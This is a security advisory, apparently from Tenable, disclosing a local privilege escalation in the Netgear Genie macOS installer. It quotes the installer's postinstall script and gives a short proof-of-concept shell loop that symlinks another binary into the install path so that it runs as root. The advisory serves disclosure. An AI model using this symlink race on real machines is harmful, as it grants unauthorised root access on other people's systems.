Netgear Genie MacOS Installer Privilege Escalation

Medium

← View More Research Advisories

Synopsis

In the latest installation package for Netgear Genie for macOS, the "postinstall" script included in the installer allows for local privilege escalation to root privileges due to improper permissions on files used throughout the installation process.

During the installation process for Netgear Genie, the following postinstall script is run as root:

```
#!/bin/sh
rm ~/.NETGEARGenie/genie.ini
#sudo /Applications/NETGEARGenie.app/Contents/MacOS/NETGEARGenieDaemon
#/Applications/NETGEARGenie.app/Contents/MacOS/NETGEARGenie -firststart
rm ~/Library/Application\ Support/NETGEARGenie/genie.ini
#rm -f ~/Library/Application\ Support/Dock/*.db && killall Dock
chmod a+w /Applications/NETGEARGenie.app/Contents/MacOS/NETGEARGenie.pid
sudo open -a /Applications/NETGEARGenie.app/Contents/MacOS/LoginItem
sudo rm /Applications/NETGEARGenie.app/Contents/MacOS/Tools/scripts/tmp.txt
echo "dafdafdas"
```

The vulnerable portion of code above is the `sudo open -a ...` line. The scripts / installation processes do not verify the contents of the binary that is opened on that line. This means that if an attacker / malicious process / etc. were to see a Netgear Genie Installer downloaded, they would be able to plant a malicious binary or symlink in this location during the installation process and escalate their privileges to root. The following is an example exploit that can be run prior to running the installer. Once the installer finishes running, Safari will be run with root privileges.

```
$ mkdir -p /Applications/NETGEARGenie.app/Contents/MacOS/
$ while true; do
  ln -f -F -s /Applications/Safari.app/Contents/MacOS/Safari "/Applications/NETGEARGenie.app/Contents/MacOS/LoginItem";
done
```

Solution

Vendor has not informed Tenable of a fix for this issue at the time of this writing

Disclosure Timeline

September 30, 2021 - Tenable discloses to vendor.
October 4, 2021 - Vendor provides formal acknowledgment.
October 26, 2021 - Tenable requests status update.
November 12, 2021 - Vendor provides status update.

Risk Information

CVE ID: CVE-2021-20172
Tenable Advisory ID: TRA-2021-56
Credit: Jimi Sebree

CVSSv3 Base / Temporal Score: 5.8 / 5.2
CVSSv3 Vector: AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L
Affected Products: Netgear Genie Installer Package for macOS
Risk Factor: Medium

Advisory Timeline

December 30, 2021 - Initial release.

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media